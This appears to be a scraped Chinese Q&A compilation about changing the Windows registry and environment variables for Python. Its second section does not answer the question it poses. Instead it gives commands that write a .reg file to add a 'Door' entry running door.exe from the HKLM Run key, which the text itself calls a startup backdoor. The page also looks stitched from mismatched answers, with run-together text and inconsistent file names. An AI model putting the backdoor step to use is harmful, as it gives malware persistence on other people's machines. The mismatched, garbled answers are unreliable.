python操作注冊表
㈠ 如何修改python自己的 注冊表
修改python自己的 注冊表
默認情況下,在windows下安裝python之後,系統並不會自動添加相應的環境變數。此時不能在命令行直接使用python命令。
1. 首先需要在系統中注冊python環境變數:假設python的安裝路徑為c:\python2.6,則修改我的電腦->屬性->高級->環境變數->系統變數中的PATH為:
(為了在命令行模式下運行Python命令,需要將python.exe所在的目錄附加到PATH這個環境變數中。)
PATH=PATH;c:\python26
上述環境變數設置成功之後,就可以在命令行直接使用python命令。或執行"python *.py"運行python腳本了。
2. 此時,還是只能通過"python *.py"運行python腳本,若希望直接運行*.py,只需再修改另一個環境變數PATHEXT:
PATHEXT=PATHEXT;.PY;.PYM
3. 另外,在使用python的過程中,可能需要經常查看某個命令的幫助文檔,如使用help('print')查看print命令的使用說明。默認安裝的python無法查看幫助文檔,尚需進行簡單的配置:
在python安裝目錄下,找到python25.chm,使用hh -decompile .python26.chm將其反編譯出來,然後將其所在的目錄加入到上面提到的PATH環境變數中即可。
4. 如何使Python解釋器能直接import默認安裝路徑以外的第三方模塊?
為了能import默認安裝路徑以外的第三方的模塊(如自己寫的模塊),需要新建PYTHONPATH環境變數,值為這個模塊所在的目錄。
------------------------------------------------------------------------------------------------------
.... 在我的電腦上面右鍵-》屬性-》系統設置-》高級-》下面有個環境變數的按鈕,點開之後,在系統變數找到path,在最後或者最前面添加 PYTHON_HOME的路徑。記不清了,現在沒用win7,用的linux,。。。 ----------------------------------------------------------------------------
windows的話直接加到path下就行,python_home那個如果用django的話,需要弄,別的不用。 另外,我也推薦用linux
㈡ python 修改注冊表只能是REG_SZ嗎 我想修改二進制但是報錯說只能是REG_SZ
方法一:利用regedit/s命令在啟動項里,添加後門。@.00>run.regecho[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>>run.regecho"Door"=C:\\WINNT\\system32\\door.exe>>run.regregedit/srun.reg順便再講一下如何刪除注冊表對應位置:用""來清除鍵值用-來刪除項刪除子項:WindowsRegistryEditorVersion5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"door"=-執行該文件,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"door"就被刪除了;刪除項:WindowsRegistryEditorVersion5.00[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]執行該腳本,[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已經被刪除了。方法二:利用reg命令,添加、修改、刪除注冊表REGADD添加、修改REGDELETE刪除相關參數到輸入/h看幫助。例:REGADDHKLM\Software\MyCo/vMRU/tREG_MULTI_SZ/d%%systemroot%%添加一個值(名稱:MRU,類型:REG_MUTLI_SZ,數據:%systemroot%)
㈢ python修改注冊表拒絕訪問
需要用管理權許可權打開編譯調試工具